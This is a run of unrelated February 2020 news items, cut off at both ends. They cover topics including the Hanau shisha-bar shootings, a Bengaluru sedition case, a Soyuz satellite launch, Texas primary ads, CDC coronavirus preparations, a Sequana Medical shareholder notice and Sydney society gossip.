a successful city that isn't impacted positively by a first-class connectivity and transportation network." He added a high-speed Dublin rail link would improve the international outlook of the city and urged the Executive to work with the Irish government. "Improving the connection between the two biggest cities on the island will only bring benefits to both economies and enhance the attractiveness of the Belfast-Dublin corridor to even more investment," he said. "We would implore the Executive to work with the incoming Irish government to invest in the existing service whilst examining a new high-speed line." Kai Pfaffenbach/Reuters BERLINLate Wednesday night in the central German city Hanau, a gunman that police have identified as 43-year-old Tobias Rathjen opened fire at two shisha bars. Theyre the kind of places favored by people who enjoy a laid-back atmosphere as they puff tobacco bubbling through water-filled hookahs, and on any given evening, many of those folks may be from Turkish, Kurdish, or North African backgrounds. Theyre quiet places for conversation and minding your own business. Do Germans Know a Hate Crime When They See It? But Rathjen just started blowing people away. He first opened fire at a hookah bar called Midnight in the center of Hanau. He then drove five minutes away to the Arena Bar and Cafe, where he opened fire again. He killed nine and injured several others at the two locations, then fled. Police swarmed into the neighborhood. When they tracked Rathjen down and stormed his apartment at 5 a.m., they found his dead body next to that of his 72-year-old mother. Apparently he had shot her, too. Investigators also found a manifesto with racist and ultranationalist views, and the federal prosecutor is treating the case as an example of extreme-right terrorism and it is already clear the shooter was drawing on the international propaganda of hate that has inspired murderers from New Zealand to the United States. It is also apparent that, despite condemnation of the killings by the ascendant far-right German opposition party AfD, or Alternative fur Deutschland, it has contributed to this country's increasingly incendiary atmosphere. Witnesses were stunned. I got a call from a colleague that there was a shooting, Can Luca Frisenna, the 24-year-old son of the owner of a convenience store next to the Arena Bar, told reporters in front the taped-off crime scene. I drove here directly. First I thought that my father had been hit and my little brother... and then I saw both of them, they were in shock, they were crying. Everyone was shocked. Story continues Things like this do not happen in this area, Frisenna said. "Its like a film, like a prank. I cant yet believe what has happened. I think all of my colleagues, they are like my family, they cannot believe it either. Both the Midnight and the Arena have owners with Kurdish backgrounds, according to Mehmet Tanriverdi, the chairman of the Kurdische Gemeinde Deutschland, or Kurdish Community in Germany. Tanriverdi said that five of the nine victims have Kurdish backgrounds, but They are German citizens. One witness, Kenan Kocak, told the television network station NTV, Its very sad in particular that young peoplea young lad, and a young girl about 20 or 25 years oldhave died. I was there with them yesterday. Someone who worked there was also taken to the hospital. It looks very bad. The news agency ANF has identified two of the people killed as Ferhat Unvar and Gokhan Gultekin, both young men. A week ago the killer, who described himself as a bank teller, published a video on YouTube in which he addressed all Americans. He spoke English in a light German accent and mouthed bizarre conspiracy theories about underground military facilities on U.S. soil. He referred repeatedly to 9/11 as an example of the imminent threat. He said that he, for one, has been under surveillance since birth and called on American citizens to wake up and fight now. The video appeared to have been recorded in a private apartment; a bookshelf in the background was stacked with dozens of binders. Meanwhile, Rathjen uploaded a 24-page text on his personal website. It included long sections of white supremacist, ethno-nationalist rambling. He wrote that not everyone who owns a German passport is purebred and valuable. He talked about one German Volkthe people in the ethno-nationalist sensewhich he describes as being the best. Otherwise there are only destructive races. The solution to the puzzle, he wrote (misspelling puzzleis that billions of people (he named Arab countries and Israel) be annihilated. If such demented ravings were limited to one unhinged bank teller with a gun, society might rest easy in spite of the tragedy. But they are not. Last week, police in Germany arrested 12 right-wing extremists who allegedly had been planning terror attacks on mosques across the country, inspired by those carried out in New Zealand last year. They had plans to provoke revenge attacks and bring about a civil war, authorities said. This often is part of the global hate network's gospel. The young white supremacist who murdered nine black men and women in a Bible study group in Charleston, South Carolina, one evening in June 2015, preached much the same philosophy. Inside the Head of Dylann Roof, Jihadist for White Hate Rathjen also wrote about the coming war on his website, claiming that it would be a double blow, both against the secret organizations that he says are reading his mind, and against the degeneration of the Volk. Right-wing extremists who turn to terror rely on apocalyptic scenarios (civil war) to characterize their targets as a threat and thus justify their criminal acts as self defense. Politicians from Alternative fur Deutschland (AfD), now Germanys biggest opposition party, have spurred this narrative by spreading conspiracies about ethnic replacement and disinformation campaigns about non-existent crimewavesas exemplified by campaign posters that accused hookah bars of being places of rape and poison. For Germanys radical right, escalation is the goal. Crime levels in Germany are still at an all-time low. Right-wing terrorism aims to spread fear and potentially bring about authoritarian measures that the AfD cannot implement directly. So of course AfD politicians have condemned the terror attackone AfD politician wrote on Twitter, Is this still the Germany in which we live well and happily that Merkels CDU (Conservative party) conjured up in 2017? Four months ago, 27-year-old Stephan Balliet tried to commit a terror attack against a synagogue in the city of Halle an der Saale, and killed two bystanders. As was the case with Rathjen, he had not been known to intelligence services prior to his act of terror. Meanwhile, Stephan E., the man accused of murdering conservative politician Walter Lubcke on his front porch in June, was a neo-Nazi in the '90s, but only became active again in the past few years. The German newspaper Die Zeit reported Thursday that police found a New Right book in his apartment that propagates the same ethnic replacement theories AfD politicians have cited. In 2016, 18-year-old student David Sonboly killed nine people in Munich on the fifth anniversary of the terror attack in Norway by Anders Breivik. He had been bullied at school, but turned his resentment and fury on people simply for their appearance, claiming that refugees and immigrants were a threat to Germanys future. In 2018, reporters from the newspaper Taz uncovered a network of people (including soldiers from the German army) who were preparing kill lists of left-wing politicians and activists, whom they could execute on the apocalyptic Day X. Read more at The Daily Beast. Get our top stories in your inbox every day. Sign up now! Daily Beast Membership: Beast Inside goes deeper on the stories that matter to you. Learn more. Amulya Leona, the girl who raised `Pakistan zindabad` slogan at an anti-Citizenship Amendment Act (CAA) rally in Bengaluru has been sent to 14-day judicial custody. Amulya Leona was earlier denied bail and now she will be kept in judicial custody till the matter comes up before the local court on Monday. A case has been registered under Section 124A (Offence of sedition) of the Indian Penal Code against Amulya. She had raised `Pakistan zindabad` slogan at an anti-CAA rally organised by AIMIM chief Asaduddin Owaisi on Thursday (February 20). Bengaluru Deputy Commissioner of Police (DCP) (West), B Ramesh had said that a suo moto case has been registered against her. "We have registered a suo moto case under Section 124A (sedition), 153A and B (promoting enmity between different groups and imputations, assertions prejudicial to national integration)," he said. On February 16, Amulya on her Facebook said "Zindabad" to all the countries: India, Pakistan, Bangladesh, Srilanka, Afghanistan. Further, she wrote: "We as kids are taught that we should respect our motherland and as a kid I would like to say that a people make the country and that the people of the respective countries should be respected." Amulya hails from Chikmagalur in Karnataka, she came into the limelight after she shouted `Pakistan zindabad` at a CAA /NRC protest began in Bengaluru. Meanwhile, Owaisi said that he condemned the act. "I immediately rushed to her, and told her that 'I will not tolerate this nonsense'. I don't even know this lady is," he said. (With input from ANI) Russia successfully launched a military communications satellite into orbit Thursday (Feb. 20). The launch took place about one month later than planned due to a technical issue. A Soyuz-2.1a rocket blasted off at 3:24 a.m. EST (0824 GMT or 11:24 a.m. Moscow time) from the Plesetsk Cosmodrome in northern Russia, according to Russian space agency Roscosmos. "The launch of the launch vehicle, and the launch of the satellite into the calculated orbit, took place as usual," Roscosmos said in a statement, which was translated into English using translation software. Video: Russia launches military satellite atop Soyuz rocket Related: Russia's space centers and launch sites in pictures A Russian Soyuz-2.1a rocket launches the Meridian M communications satellite from the Plesetsk Cosmodrome in northern Russia, on Feb. 20, 2020. (Image credit: Ministry of Defence of the Russian Federation) Ground controllers have received telemetry (or data) from the deployed spacecraft, which is called Meridian M, showing that the spacecraft is working normally so far, Roscosmos said. The rocket was supposed to lift off on Jan. 24, but the launch was delayed due to a technical problem in the Soyuz's third stage, according to Chinese space media Xinhua. "The Soyuz-2 rocket had to be removed from the launch pad and returned to the assembly and testing facility to fix the problem," Xinhua said. Meridian M is supposed to help ships and reconnaissance aircraft communicate along the northern sea region of Russia, as well as help expand satellite communications stations in more remote regions in Siberia and the Far East, Roscosmos added. This is the first Soyuz-2 rocket family launch of 2020 from Plesetsk. In late December, a Rockot booster converted from an intercontinental ballistic missile successfully launched from Plesetsk, with three Gonets-M communications satellites on board. Rockot may also have carried a military payload, called Blits-M, that is meant to reflect lasers, according to industry-monitoring website RussianSpaceWeb.com. Follow Elizabeth Howell on Twitter @howellspace. Follow us on Twitter @Spacedotcom and on Facebook. Suddenly, its billionaire vs. billionaire in the Democratic Presidential Primary in Texas. California billionaire Tom Steyer is launching a new television ad airing in Houston and other big media markets that attacks New York billionaire Mike Bloomberg over what Steyer calls racist policies in Bloombergs past. Michael Bloomberg has been telling his story in TV ads all across Super Tuesday states, but there is another side of that story that voters need to know, Steyer said, of the ads that are scheduled to begin airing on Monday in Houston. Steyer has not won the same attention as Bloomberg in his bid for the White House, but has spent over $200 million of his own money running for the seat, according to the most recent campaign finance reports. Know the candidates: Houston Chronicle 2020 primary election voter guide; San Antonio Express-News 2020 primary election voter guide The attack ad focuses on stop-and-frisk, the policy that Bloomberg issued another apology for just a week ago while in Houston. While he was mayor, Bloomberg supported the tactic that allowed police to randomly frisk young black and Hispanic residents to look for weapons. Since he got into the race, Bloomberg has acknowledged that policy was a mistake, and that he should not have supported it. I should have acted sooner and faster to stop it, and for that, I apologized, Bloomberg said during a rally at the Buffalo Soldiers National Museum in Houston. Ive spent a lot of time speaking with black leaders and community members and listening to their stories. I heard their pain, their confusion, and their anger, and Ive learned from them, and Ive grown from them. But Steyers ad doesnt make that distinction, and instead plays a recording of Bloomberg defending the tactic while he was mayor from 2002 to 2013. Those policies were racist and Mike Bloomberg was wrong to support them, a narrator in Steyers ad declares. Bloombergs campaign declined to comment on the ad on Thursday. Texas Take: Get political headlines from across the state sent directly to your inbox Steyers campaign called the ad an initial seven-figure TV buy that will air in Super Tuesday states, most of which are already early voting. In Texas, early voting runs through Feb. 28. Election day is March 3. Steyer, a retired hedge fund billionaire, has focused his campaign on South Carolina and Nevada, where he is doing far better in public polls than in other states. A Las Vegas Review-Journal poll has Steyer in 4th place in that state with support from about 11 percent of likely Nevada Caucus participants. In South Carolina, the latest Winthrop University poll had Steyer in 3rd place with about 15 percent of the potential voters there. Steyer last week began ramping up his campaign in Texas. He opened a campaign office in Houston last week, and another in Dallas earlier this week. Bloomberg jumped into the race for the White House in November and has spent big on television in Super Tuesday voting states like Texas to build up his poll numbers. In a University of Texas/Texas Tribune poll of self-identified Democratic primary voters released last week, Bloomberg was favored by 10 percent. U.S. Sen. Bernie Sanders led that poll at 24 percent to former Vice President Joe Bidens 22 percent. Schwarz, who owns an eight-bedroom, nine-bath house on nearly 1 acre on Voltz Road, received a citation in January 2019 after the village received a complaint that she was listing the property on such websites as Airbnb , according to the village report. The use of her property as a vacation or short-term rental was a nonconforming single family residential use and violated the unique events code, according to the citation. An undocumented human brain was seized on Friday at the Canada-US border after an unidentified person from Canada tried to pass it across country borders, international media reported. The US Customs and Border Protection officers found the organ at Port Huron port in Michigan in a Canadian mail truck. Antique Teaching Specimen According to media reports, the officials while examining a Canadian mail truck discovered a package labelled as Antique Teaching Specimen. On further investigation, they found a human brain without any paperwork or documentation in support of its lawful entry. According to a press release, the brain was shipped from Toronto and was destined for Kenosha, Wisconsin. Read: 'Will Make Tremendous Trade Deal With India': US President Donald Trump According to reports, it is unlawful to import biological material without permits in the US. The Centers for Disease Control and Prevention (CDC) import permit programme regulates the importation of infectious biological materials that could cause disease in humans. An application to the CDC is required for mailing biological agents, vectors of human disease or live bats in the US. Read: Locust-hit Pak May Make Exception To Trade Freeze With India To Import Insecticides: Report Read: Mahashivratri Vrat: Know The Importance Of The Day & Different Kind Of Fasts Area Port Director Michael Fox told international media that individuals looking to import shipments, such as this, need to remember that the Centers for Disease Control and Prevention has a strict Import Permit Program that must be adhered to. He added this is just another great example of just one of the many things CBP officers do to protect our nation on a daily basis. Read: Flight Attendant Leaves Daily Flyers In Splits With Hilarious Safety Drill A US Customs and Border Protection agent killed three family members, including two juveniles, and then himself at his Florida home, authorities said on February 20. Deputies responded to a neighbourhood east of Orlando on Thursday afternoon after the agent's co-workers expressed concern about him, Orange County Sheriff John Mina said at a news conference. Deputies learned the family members hadnt been seen since last week, so they entered the home and found the four bodies, he said. Investigators weren't immediately identifying the victims or the agent, who worked at the Orlando International Airport. Mina said the dead included a woman in her 30s, a middle-school-age boy and a high-school-age boy. Officials didn't immediately say how the victims were related to the agent. PR-Inside.com: 2020-02-21 07:02:02 REGULATED INFORMATION Ghent, BELGIUM 21 February 2020 Sequana Medical NV (Euronext Brussels: SEQUA) (the "Company" or "Sequana Medical"), an innovator in the management of fluid overload in liver disease, malignant ascites and heart failure, today announces in accordance with article 14 of the Belgian Act of 2 May 2007 on the disclosure of major participations in issuers of which shares are admitted to trading on a regulated market and regarding miscellaneous provisions (the "Belgian Transparency Act") that it received transparency notifications from the shareholders listed below, notifying the number of voting rights attached to shares mentioned next to their respective names in the table below. Reason for notification Shares and voting rights held Number % of total outstanding shares(1) Capricorn Partners NV(2) Downward crossing of the lowest threshold of 3% Disposal of voting securities or voting rights N/A(3) N/A(3) Societe Federale de Participations et d'Investissement SA - Federale Participatie- en Investeringsmaatschappij NV(4) Acquisition of voting securities or voting rights 1,297,234 8.22% Belfius Insurance SA(4) Acquisition of voting securities or voting rights 707,124 4.48% Societe Federale de Participations et d'Investissement SA - Federale Participatie- en Investeringsmaatschappij NV and Belfius Insurance SA(4) Acquisition of voting securities or voting rights 2,004,358 12.70% Notes: The total number of outstanding shares of the Company on 27 January 2020 amounts to 15,778,566, each share giving right to one (1) vote (being 15,778,566 voting rights in total). This number takes into account the number of new shares that were issued pursuant to a capital increase that was announced on 22 January 2020 and completed on 27 January 2020 by means of a private placement through an accelerated bookbuilding procedure. Capricorn Partners NV ("CP") (acting as person that notifies alone), informed the Company, by means of a notification dated 14 February 2020, that the aggregate shareholding of the funds Capricorn Health-tech Fund NV and Quest for Growth NV, managed by CP, downward crossed the lowest threshold of 3% of the outstanding voting rights of the Company on 14 February 2020. The notification specifies furthermore that (a) CP is in itself no owner of shares in the Company but manages two funds (Capricorn Health-tech Fund NV and Quest for Growth NV) which are owner of shares of the Company, (b) CP exercises the voting rights in both funds as management company, and (c) CP is not controlled within the meaning of the articles 1:14 and 1:16 of the Belgian Companies and Associations Code. The notification also states that (a) the voting securities are owned by two funds managed by CP, and (b) CP can exercise the voting rights of the funds at its own discretion at the general meeting of shareholders of the Company. The transparency notification does not mention how many voting securities or voting rights are held by CP after downward crossing the lowest threshold of 3%. A parent undertaking or a controlling person of Societe Federale de Participations et d'Investissement SA / Federale Participatie- en Investeringsmaatschappij NV ("SFPI-FPIM"), Belfius Banque SA ("Belfius Bank") and Belfius Insurance SA ("Belfius Insurance"), informed the Company, by means of a notification dated 18 February 2020, that the aggregate shareholding of SFPI-FPIM and Belfius Insurance crossed the threshold of 10% of the outstanding voting rights of the Company on 17 February 2020. The joint notification specifies furthermore that SFPI-FPIM is the parent company of Belfius Bank (ex Dexia Banque SA), which in its turn is the parent company of Belfius Insurance. The notification also states that SFPI-FPIM acts in its own name, but on behalf of the Belgian State and that it is owned for 100% by the Belgian State. It follows from the notification that Belfius Bank does not own any voting securities or voting rights in the Company. To access copies of the aforementioned transparency notifications, reference is made to Sequana Medical's website ( www.sequanamedical.com ). Pursuant to the Belgian Transparency Act and the articles of association of the Company, a notification to the Company and the Belgian Financial Services and Markets Authority (FSMA) is required by all natural and legal persons in each case where the percentage of voting rights attached to the securities held by such persons in the Company reaches, exceeds or falls below the threshold of 3%, 5%, 10%, and every subsequent multiple of 5%, of the total number of voting rights in the Company. For more information, please contact: Sequana Medical Lies Vanneste, Director IR Tel: +32 498 05 35 79 Email: IR@sequanamedical.com Consilium Strategic Communications Amber Fennell, Marieke Vermeersch, Sukaina Virji, Melissa Gardiner Tel: +44 203 709 5000 Email: sequanamedical@consilium-comms.com LifeSci Advisors Chris Maggos Tel: +41 79 367 6254 Email: chris@lifesciadvisors.com About Sequana Medical Sequana Medical is a commercial stage medical device company developing the alfapump platform for the management of fluid overload in liver disease, malignant ascites and heart failure. Fluid overload is a fastgrowing complication of advanced liver disease driven by NASH (non-alcoholic steatohepatitis) related cirrhosis and a common complication in heart failure. The U.S. market for the alfapump resulting from NASH-related cirrhosis is forecast to exceed 3 billion within the next 10-20 years. The heart failure market for the alfapump DSR (Direct Sodium Removal) is estimated to be over 5 billion in the U.S. and EU5 by 2026. Both indications leverage Sequana Medical's alfapump, a unique, fully implanted wireless device that automatically pumps fluid from the abdomen into the bladder, where it is naturally eliminated through urination. In the U.S., the company's key growth market, the alfapump has been granted breakthrough device designation by the FDA. The North American pivotal study (POSEIDON) in recurrent and refractory ascites due to liver cirrhosis is underway, with interim results expected in H2 2020, and a commercial launch in the U.S. is planned for H1 2022. In Europe, the alfapump is CE-marked for the management of refractory ascites due to liver cirrhosis and malignant ascites and is included in key clinical practice guidelines. Over 750 alfapump systems have been implanted to date. Building on its proven alfapump platform, Sequana Medical is developing alfapump DSR, a breakthrough, proprietary approach to fluid overload due to heart failure. Clinical proof-of-concept was achieved in a first-in-human single dose DSR study and a repeated dose alfapump DSR study in heart failure patients is underway with results expected in Q2 and Q3 2020. Sequana Medical is headquartered in Ghent, Belgium. For further information, please visit www.sequanamedical.com . Important Regulatory Disclaimers The alfapump has not yet received regulatory approval in the U.S. and Canada. Any statement in this press release about safety and efficacy of the alfapump does not apply to the U.S. and Canada because the device is currently undergoing clinical investigation in these territories. DSR therapy and alfapump DSR are still in development and it should be noted that any statements in this press release regarding safety and efficacy arise from pre-clinical studies and ongoing clinical investigations which have yet to be completed. There is no link between DSR therapy, alfapump DSR and ongoing investigations with the alfapump system in Europe, the U.S. and Canada. A 42-year-old registered sex offender is headed back to prison after attempting to meet with a State Police detective who was posing as a teenage boy. Harold Gordner, of Highland Park was sentenced Friday in Middlesex County Superior Court to five years in state prison, the state Office of the Attorney General said. Gordner was arrested at Kennedy Park in Sayreville in May 2018 after showing up expecting to meet a 14-year-old boy. Instead, he was greeted by State Police. Gornder had been having explicit online chats with a detective posing as a teenager for a month before the planned meet-up and sent the undercover cop sexually explicit photos of himself as well as links to pornographic videos. Before agreeing to meet at the park, authorities said Gornder tried multiple times to send a car service to pick up the boy and bring him back to Highland Park to have sex. Gordners criminal history dates back nearly 17 years. He was convicted in 2004 on criminal sexual contact and endangering the welfare of a child for an August 2003 incident in South River involving a 15-year-old. He was also charged in August 2003 with sending child porn to a police officer posing as a teen in Pennsylvania. Gordner, who is originally from Ohio, was living in Pennsylvania at the time, and pleaded guilty to possession of child pornography and unlawful contact and communication with a minor. He was sentenced to 11 to 23 months in Lehigh County prison, followed by three years of probation. He was also sentenced to three years probation in the New Jersey case and both states agreed he would serve that probation in his home state of Ohio. Judges in both cases also required that Gordner register as a sex offender under Megan's Law. Its not clear when he moved to New Jersey, but in 2014, he was convicted of violating terms of his community supervision for life by failing to report where he was living in Edison for a 6-month period in 2013. He was sentenced to 190 days in county jail. In the most recent case, Gordner pleaded guilty in September 2019 to charges of attempted impairing or debauching the morals of a child and violating the conditions of his community supervision for life. Jeff Goldman may be reached at jeff_goldman@njadvancemedia.com. Follow him on Twitter @JeffSGoldman. Find NJ.com on Facebook. Have a tip? Tell us. nj.com/tips. Get the latest updates right in your inbox. Subscribe to NJ.coms newsletters. An Italian town is trying to lure new residents by offering to pay their rent. Picturesque Teora, in the Campania region of southern Italy, is aiming to revive its dwindling population with the scheme. Newcomers to the town will be given 150 euros (125/$162) a month towards their rent for two years or get a 5,000-euro (4,193/$5,402) lump sum to go towards buying a property there. The picturesque town of Teora, in the Campania region of southern Italy, which is trying to lure new residents by offering to pay their rent The town's population started to decline in 1980 after a devastating earthquake and now stands at around 1,500 The only catch is that all newcomers must have at least one child and they must commit to living in Teora for at least three years. The town's population started to decline in 1980 after a devastating earthquake and now stands at around 1,500. It is believed that an average of two babies are born there each year compared to 20 deaths, with most from old age. Mayor of Teora, Stefano Farina, told CNN: 'We're down to barely 1,500 residents. After the terrible quake many young people fled. 'I want to invert this negative trend. Children are our future, new families will be the building blocks of our shrinking community, so we encourage those with more kids to apply.' For those interested in moving, rental prices in the town are as little as 200 euros (167/$216) a month while some homes are on the market for 30,000 euros (25,159/$32,416). Newcomers to Teora will be given 150 euros (125/$162) a month towards their rent for two years or get a 5,000 euro (4,193/$5,402) lump sum to go towards buying a property there In addition, the town will also waive school meal fees and local taxes for any newcomers. However, Teora isn't the only town in Italy to incentivise house moves. Taranto became the first Italian city to offer homes for one euro (84p/$1.08). The remote port city in southern Italy has seen its population dwindle over the years and local authorities hope the offer will boost the ailing area, including its historic centre. The council aims to attract 25,000 inhabitants. Forget everything youve seen on Instagram: If you need reassurance that interiors perfection is overrated, talk to Athena Calderone. The designer and entertaining guru behind lifestyle brand EyeSwoon quite literally wrote the book on how to create soulful spaces that dont just check trend boxes. In Live Beautiful (Abrams; available on March 3), the companion piece to her endlessly bookmark-able tome Cook Beautiful, she and 19 other trendsetters, from Nate Berkus and Jenna Lyons to ADs own Jane Keltner de Valle, ruminate on the highly personal, sometimes subconscious decisions that have dictated the look of their homes, insisting that idiosyncrasythe stains on a marble countertop, the verdigris of a brass fixture, the chip on an antique wood stoolis more alluring than aesthetic flawlessness. Im so curious about how design unfolds and how one point of inspiration can lead to something completely unexpected, says Calderone. The common thread that I really loved among all of these designers was that they were very much into embracing imperfection and allowing themselves to tell a story only they can tell. She elaborates in her book: The pieces theyve collected over time tell us about more than their taste in furnishingsthey reveal the contours of lifes path, like a visual diary. So when it came to updating the rustic-meets-industrial kitchen in her midcentury Amagansett, New York, beach home, it was no surprise that she chose materials, furnishings, and accessories thatlike Prousts madeleineswould unlock the memories and unspoken narratives that fuel her creativity. It began with a graphic backsplash, floating shelf, and countertop of Calacatta Monet marble with subtle green-and-plum undertones that informed the palette for the rest of the room, from the Ash Grey paint by Farrow & Ball on the cabinetry to the antique lamp that resides at the end of the fluted-plaster kitchen island by Kamp Studios. It was a continuation of the materiality study of the original iteration, says Calderone, who took a DIY approach to the space. I wanted it to feel elevated but still beachy. Stainless steel appliances by JennAir adhere to the streamlined aesthetic, while 1970s woven rattan stools from Spain keep the vibe calm and collected. Story continues The project snowballed from there, spilling into the adjacent living and dining rooms and a small family room off the kitchen. There, too, Calderone challenged herself to think in terms of materiality, brightening each neutral-hued space through textural contrast and chromatic moderation. I wanted the architecture to be the focal point, she says, referring to the intricate rope detail along the ceiling. When theres some restraint on the palette, it allows your eyes to gently wander around the space and settle on carefully curated pieces. Among them are the biomorphic light sculpture by Rogan Gregory that hangs above the dining table, a 1960s bamboo armchair by Giovanni Travasa in the living room, and a burled wood plinth by Milo Baughman in the family room. My goal is always to create vignettes that feel intimate and encourage intrigue and curiosity, Calderone says. See the video. But she is also steadfast in her determination to build a home, layer by layer, that is comfortable and inviting, not just an art-school project. In Amagansett shes done just that, incorporating items for their past or ability to patina rather than their perfection. People always say, How do you keep that marble spotless? And I tell them, I want to see those stains. I want to remember those moments when my son spilled his ice cream. Its a marker; its a memory. I love the idea of something with a rich, unknown history starting a new life in your space. For Calderone, that story starts now. Peek Inside Athena Calderones Newly Renovated Hamptons Home Originally Appeared on Architectural Digest CROMWELL For more than 100 years, the Lions have been a force for good in communities worldwide. Now, after decades without a club, a group of Cromwell residents and businesspeople are reviving a local chapter. Were one of the largest towns in the state that didnt have a club, said John Scanlon, a semi-retired CPA who is the new clubs vice president. There was a Lions Club in Cromwell back in the 1960s and 70s, but many of the older members either moved away or died and not enough new members were joining, so the chapter eventually disbanded. When it did, many of the members, such as Scanlon, joined other clubs in the area. Scanlon has been a member of the Clinton Lions Club for 20 years, he said. Talk about reviving the club in Cromwell began last year. There are more than 48,000 Lions Clubs worldwide, according to the organizations website, and membership currently tops 1.4 million men and women. To become a formally recognized Lions Club, a chapter must have 20 members. The revived Cromwell chapter currently has 23 members, Scanlon said, adding, We are actually looking for more members. Most our members are either Cromwell residents or they own businesses here in town, Scanlon said. The chapter part of District 23C will receive its charter during a banquet at Baci Restaurant and Bar March 13, said Meghan Hyatt, public relations director for the club. The organization founded by a Chicago businessman Melvin Jones and perhaps is best known for its work on vision and eye care issues. We work with Fidelco (to train guide dogs for the blind or vision impaired) and we also contribute to diabetes research, Scanlon said. But what most people dont realize is the majority of our funding stays right here in our town. The Cromwell club, president of which is Lincoln Everest, will meet on the second and fourth Thursdays of each month, Hyatt said. People interested in joining the club or attending the banquet can contact Hyatt at mhyatt46@gmail.com. Deadline for banquet reservations is Feb. 28. jmill@middletownpress.com Fauci said the distortions have led to death threats against him. He pointed to the arrest of someone with an AR-15 rifle and ammunition last month in Iowa who police said was driving to D.C. with a "hit list." U.S. health officials are preparing for the COVID-19 coronavirus, which has killed at least 2,249 people and sickened more than 76,700 worldwide, to become a pandemic, the Centers for Disease Control and Prevention said Friday. "We're not seeing community spread here in the United States, yet, but it's very possible, even likely, that it may eventually happen," Dr. Nancy Messonnier, director of the CDC's National Center for Immunization and Respiratory Diseases, told reporters on a conference call. "Our goal continues to be slowing the introduction of the virus into the U.S. This buys us more time to prepare communities for more cases and possibly sustained spread." Messonnier said the CDC is working with state and local health departments "to ready our public health workforce to respond to local cases and the possibility this outbreak could become a pandemic." The CDC is collaborating with supply chain partners, hospitals, pharmacies and manufacturers to understand what medical supplies are needed, she said. "This will help CDC understand when we may need to take more aggressive measures to ensure that health-care workers on the front lines have access to the supplies that they need," she said. "We are reviewing all of our pandemic materials and adapting them to COVID-19." Messonnier pointed to China, where schools and businesses have been shuttered for weeks to contain the outbreak there, saying the U.S. may eventually need to do the same. "The day may come where we may need to implement such measures in this country," she said. The CDC is changing the way it categorizes confirmed cases in the U.S. to separate out people who've been repatriated to the country with the virus from China and from a cruise ship that was quarantined off the coast of Japan, she said. As of Friday morning, the CDC had confirmed 13 infections that were transmitted on U.S. soil and 21 cases that were brought into the country, she said. The U.S. evacuated 329 Americans this week from the Diamond Princess ship, which was quarantined in the port of Yokohama, Japan, after an outbreak emerged onboard earlier this month. Despite the quarantine, which kept passengers confined to their cabins, the virus infected more than 600 passengers and crew, including some Americans who are being treated in Japan, Messonnier said. "There are several Americans with COVID-19 who are hospitalized in Japan and who are seriously ill," she said. But the only witness Reginald Holmes was shot near Dawes Point on the morning of the coronial inquest. Roope and Meagher, two former English and history high-school teachers, became fascinated with the story while teaching at a southern Sydney high school, and found it retold in a Year 9 text of Australian short stories. The Shark Arm story stood out, it was always a well-thumbed part of the book, Roope says. Murder victim James Smith and witness Reginald Holmes, who was shot dead on the day of the coronial inquiry. The boys we taught never tired of the retelling of this gory story, says Meagher. The pair believe there are similarities in the investigations of the Shark Arm case and that of missing boy William Tyrell and the disapparance suspected murder of Northern Beaches woman Lynette Dawson, currently before the courts. Roope and Meagher are thrilled with the recent review of their book in Police News which said: The authors' conclusions ring with veracity. As coroner Edward Oram in 1935 touched rather poetically on the mystery at the heart of the Shark Arm case: "it was a million to one chance that this one shark, in all the sea, should have been placed in an aquarium. Fellow jailbird flies to the rescue James Ricketson, the Australian filmmaker jailed for 15 months in Cambodia charged with espionage, has flown to London to support jailed WikiLeaks founder Julian Assange at his London extradition trial which starts on Monday. James Ricketson exiting a prison van as he arrived at the Phnom Penh Municipal Court for a court appearance in June, 2018. Credit:Kate Geraghty The Palm Beach-based filmmaker has flown to the UK at his own expense as have government backbencher George Christensen and independent MP Andrew Wilkie. The award-winning film and documentary maker, jailed in 2017 for flying a drone at a rally in Phnom Penh, Cambodia, says he owes Assange a debt of thanks. When he was in jail and still able to communicate, Ricketson sent a message asking for help from Assange, then holed up in the Ecuadorian embassy in London. Julian got back to me within an hour and gave me some very important advice on how to deal with the Australian government which helped secure my release, the 70-year-old Sydneysider told PS. Since his return to Australia, Ricketson has become close to Assanges father, John Shipton, who has sold his house to support his son, and flown to London with his five-year-old daughter, for the trial which will determine if his son will be extradited to the United States. Australian politician George Christensen has flown to London to visit WikiLeaks founder Julian Assange in prison after calling on the UK to block his extradition to the US. Credit:Getty Images Ricketson, whose films include Third Person Plural starring Bryan Brown, and Blackfellas starring John Hargreaves, hopes to visit Assange in Belmarsh Prison and take part in a London demonstration today in support of Assange, also accused of espionage. Godfather of fashion spreads joy This week the University of Sydney lost its Vice Chancellor Michael Spence, and daytime trading at its infamous Manning Bar - watering hole to many an undergraduate including comedians Tom Gleeson, Andrew O'Keefe, Rob Carlton and Charles Firth - but gained $4 million in research money. Pringle for Weiss sweaters created by the fashion empire of Peter and Adele Weiss. Credit: Peter Weiss, known as the "Godfather of Australian fashion" is the benefactor of the money which will enable University of Sydney researchers based at the Westmead Institute for Medical Research (WIMR) and Westmead Hospital, to study lung disease. Mr Weiss, 84, who became famous in the 1980s for the fashion business he ran with his first wife Adele, then for his contribution to the arts, was diagnosed in 2012 with chronic obstructive pulmonary disease (COPD). Reflecting on the donation which will fund 10 senior researchers and at least five postgraduate students, and his philanthropy in general he said: Theres not a lot of joy around, these things give me joy. Laurie's luncheon laments A gaggle of journalists and media junkies gathered on Wednesday to watch 2GB radio host Ben Fordham interview former political journalist Laurie Oakes for the inaugural Sydney Media Club luncheon. Hosted by the Kennedy Awards at Bar M, the Italian eatery at Rushcutters Bay, the 76-year-old Canberra Press Gallery veteran, didnt hold back on his criticism of Prime Minister Scott Morrison, whom he declared not a natural or instinctive politician. ScoMos never been good at getting the tone right, he said of the timing of the PMs holiday to Hawaii amid the recent bushfires. Veteran journalist Laurie Oakes said Scott Morrison was not a natural or instinctive politician. Credit:Andrew Meares Former Liberal staffer and member of the PMs inner circle David Gazzard, was in the lunching crowd but didnt choke on his over-sized spatchcock (or was it the gnocchi?) when he heard the criticism of his close mate. When questioned about the story that led to former Nationals leader Barnaby Joyces removal from the deputy prime ministership, Oakes said bonking is not news, and shouldnt be news. He then went on to share his regrets about the story he broke in 2002 about former Foreign Minister Gareth Evans relationship with former Australian Democrats and ALP politician Cheryl Kernot. I wish I had never got onto it, Oakes said in retrospect. Hang on to your Holdens Australias iconic car, the Holden, star of Mad Max movies, and Ted Bullpits Kingswood Country, is suddenly the brand everyone has to have. Following this weeks announcement of its closure, Lloyds Auctions has been flooded with enquiries from people this week wanting to buy a Holden Classic, according to Brett Mudie, the chief marketing officer for Lloyds Auctions. A 1970 Holden Monaro once owned by Australian businessman Lindsay Fox, which sold at auction in January for $250,000, would have doubled overnight, a 